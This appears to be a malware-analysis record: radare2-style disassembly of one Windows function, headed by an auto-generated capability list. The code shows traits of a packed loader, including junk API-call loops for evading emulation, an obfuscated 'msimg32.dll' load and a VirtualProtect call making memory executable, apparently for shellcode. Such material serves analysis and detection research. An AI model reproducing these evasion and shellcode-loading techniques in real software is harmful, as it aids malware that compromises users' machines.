Function at 0x4308b0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Receive http response
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x432d56
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2df0
call fcn.0040c520
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e169
jge 0x4308fe
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9b1d8e
jle 0x43091a
cmp dword [esp + 0x10], 0xc095d8
je 0x43091a
cmp dword [esp + 0x3c], 0x903b058
jne 0x430923
inc esi
cmp esi, 0x98a5a
jl 0x4308f0
cmp dword [0x2285288], 0xcf8
jne 0x430a20
push edi
push edi
push edi
call fcn.0040491e
push 0x4033e4
push edi
call fcn.0040491e
push edi
push edi
push edi
push edi
call fcn.00404616
push edi
push edi
call fcn.00403e42
push edi
call fcn.004044db
push edi
push edi
call fcn.0040434b
add esp, 0x38
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x2e0c], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x430990
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x4309aa
push 0x403658
call fcn.00403bdb
cmp esi, 0xf
jbe 0x4309bd
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.004039c0
jmp 0x4309ca
cmp esi, edi
jne 0x4309cc
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x430a07
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x4309e6
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040a740
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x430a03
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x430a1a
mov ecx, dword [esp + 0x30]
push ecx
call fcn.004049db
add esp, 4
push edi
call fcn.004048cc
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x430a47
mov eax, 0x5d1
add dword [0x2285288], eax
cmp dword [0x2285288], 3
jne 0x430a66
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x604]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x430a34
call fcn.00430600
mov eax, dword [0x2285288]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
xor esi, esi
test eax, eax
je 0x430ae3
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 0xfe
jne 0x430aba
push 0
call ebx
call ebp
xor eax, eax
lea edx, [esp + 0x10]
push edx
push eax
push eax
lea ecx, [esp + 0xcc]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.00430640
mov eax, dword [0x2285288]
cmp eax, 0x29
jne 0x430ade
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x2285288]
inc esi
cmp esi, eax
jb 0x430a91
cmp eax, 0x70
jne 0x430b8d
push 0
lea edx, [esp + 0xc4]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x4033f0
push 0x403404
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x403410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [esp + 0x10]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea ecx, [esp + 0x608]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea edx, [esp + 0xe04]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x403480
push 0x403540
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x2285288]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x10], 0x9682ab
lea ecx, [ecx]
cmp eax, 3
jne 0x430be3
push 0
lea eax, [esp + 0x70]
push eax
push 0
lea ecx, [esp + 0xcc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea edx, [esp + 0x4c0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x2285288]
cmp eax, 0xdf
jne 0x430e38
push 0x403590
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
lea edx, [esp + 0x60]
push edx
push eax
push eax
lea ecx, [esp + 0xcc]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
lea edx, [esp + 0x68]
push edx
call edi
push 0
lea eax, [esp + 0x8c]
push eax
call ebp
push 0
lea ecx, [esp + 0x28]
push ecx
call ebx
push 0
push 0
push 0
push 0x4035b0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov edx, dword [esp + 0x24]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea eax, [esp + 0x1a04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x64]
push ecx
push 0
lea edx, [esp + 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea eax, [esp + 0x88]
push eax
call ebx
push 0
lea ecx, [esp + 0x24]
push ecx
call ebp
lea edx, [esp + 0x2c]
push edx
call edi
lea eax, [esp + 0x28]
push eax
push 0
lea ecx, [esp + 0x2208]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
lea edx, [esp + 0x1c]
push edx
push 0x403618
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea edx, [esp + 0x1604]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea eax, [esp + 0xe04]
push eax
push 0x403634
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x604]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x2604]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea ecx, [esp + 0x94]
push 0
push ecx
mov dword [esp + 0x98], 0
call fcn.00405cd0
add esp, 0xc
push 0
lea edx, [esp + 0x90]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x2285288]
dec dword [esp + 0x10]
jne 0x430bb0
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x430e53
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
lea esp, [esp]
cmp dword [0x2285288], 0x222
jne 0x430e80
push 0
call esi
dec edi
jne 0x430e70
mov ecx, dword [0x2285288]
mov edx, dword [0x4513ec]
lea eax, [esp + 0x18]
push eax
push 0x40
push ecx
push edx
mov byte [0x44c658], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00430860
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x2285288], 0xba
jne 0x430ecb
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x430ed8
call fcn.00430620
inc esi
cmp esi, 0x1605a
jl 0x430eb2
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edi, dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov ebx, 0xf2b8b
cmp dword [0x2285288], 0x21
jne 0x430f07
push 0
push 0
push 0
push 0
call esi
call edi
dec ebx
jne 0x430ef2
mov ecx, 0x73
mov edx, 0x6d
mov word [0x228429a], cx
mov word [0x228429e], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x22842a2], ax
mov word [0x22842ae], dx
mov word [0x22842a0], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x2284298
mov dword [0x22842a8], 0x6c0064
mov word [0x228429c], dx
mov word [0x2284298], ax
mov word [0x22842ac], cx
mov dword [0x22842a4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x2285288], 0xc30
jne 0x431007
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
lea ecx, [esp + 0x1c]
push ecx
push ebx
lea edx, [esp + 0x60c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea eax, [esp + 0xe04]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x34]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2e04]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret